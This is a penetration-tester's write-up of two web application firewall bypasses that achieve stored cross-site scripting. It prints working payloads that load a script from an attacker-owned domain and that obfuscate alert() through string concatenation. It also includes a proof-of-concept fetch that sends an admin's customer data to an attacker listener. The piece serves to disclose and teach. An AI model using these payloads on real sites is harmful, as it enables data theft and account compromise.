image

Hey, I don’t believe any system is totally secure

David Lightman, Wargames

Introduction

 

If Wargames was remade in 2022, the WOPR would have an web application front-end, and that front-end would be behind a Web Application Firewall (WAF).  “Joshua” might get him past the firewall, maybe not. Unfortunately for us during a penetration test we don’t have weeks to research a “backdoor” and instead need to figure things out a little quicker. This short article covers how we achieved one such bypass against a WAF.

Application firewalls have been around forever (1991)  and have grown in popularity. Deployed either on the network, on the host, or in the cloud, WAFs are focused on blocking attacks such as cross site scripting (XSS) and SQL Injection, basically any bad stuff coming over layer 7 in the OSI model.  The good thing about a WAF is if you have application vulnerabilities then the WAF provides a compensating control. The bad thing about WAFs if you have application vulnerabilities and the WAF is bypassed, you can run into trouble. This is an account of how one such bypass recently happened during a recent application penetration test.

 

Method 1

 

The  payload takes advantage of the character limit of the WAF, and requires an attacker to buy a domain with a limited number of characters in it, such as 15.₨. Note that in the payload, OSec had to use punycode encoding for the ₨ character since the ‘rs’ domain would take two characters and still be blocked by the WAF.

The payload is a stored cross-site scripting (XSS). This type of vulnerability usually occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. A victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, the attack payload can be permanently stored in the victim’s browser, such as an HTML5 database, and never get sent to the server at all.

OSec observed that a custom category field  was passing input directly into an event handler at the following event sink:

onchange=”isValidFromDate(this, frmmain.{USER-INPUT}toDate);filterDates(‘{USER-INPUT}’)”

OSec needed to create a payload which could bypass the WAF and be able to import an exploit from an OSec-controlled domain. With the following payload, this is possible:

a);d=self[`document`];e=d.createElement(`script`);e[`src`]=’//15.₨’;d.write(e)//

What we did:

1. Host the exploit code on an OSec-owned domain. Below is a small proof of concept (POC) which will steal customer information from an administrator account:

fetch(‘<https://<VULNERABLE URL>.com/Customer/Summary?CustomerId=2’).then((response)> => {
return response.text();
}).then((resp) => {
fetch(“//{ATTACKER-LISTENER}”, {
method: “POST”,
body: resp,
mode: ‘no-cors’
})
});

2. Replace the {ATTACKER-LISTENER} with the server where the source code of the page containing client information will be sent.

3. The figure shows a successful response exfiltration to the attacker-controlled server (Burp’s Collaborator in this case).

 

burp collobarator success

 

Method 2

 

We  identified the ability to use string concatenation to bypass the WAF and conduct stored sross-site scripting (XSS) attacks against the server.

What we did:

1. Visit https://<VULNERABLE URL>/PathTo/VulnerableForm

2. Submit a new form after entering the payload in one of the form fields, which fully bypasses the WAF and shows full DOM access. The weakness in the  WAF was that it was unable to block OSec’s access to the alert() function via string concatenation taking use of the window from the self object. Below is an example of a payload with string concatenation:

test);self[`wi`+’ndow’][`\a`+’lert’](self[`doc`+’ument’][`doma`+’in’]);//

3. Once the page refreshes and displays the list of submitted form data. Confirm the XSS by clicking the calendar and viewing the pop-up

XSS pop up box

 

Remediation

 

WAFs need to be configured properly to ensure proper filtering of user-controlled input, otherwise the WAF is not serving its purpose. Additionally, you want to ensure that vulnerabilities are not present in applications (which is of course easier said than done) so utilize a good SDLC process, make sure vulnerability management is working effectively, and conduct the occasional pen test.

 

Further reading

https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/  – Cloudflare explain WAFs

https://portswigger.net/web-security/cross-site-scripting/stored  – some more information on stored XSS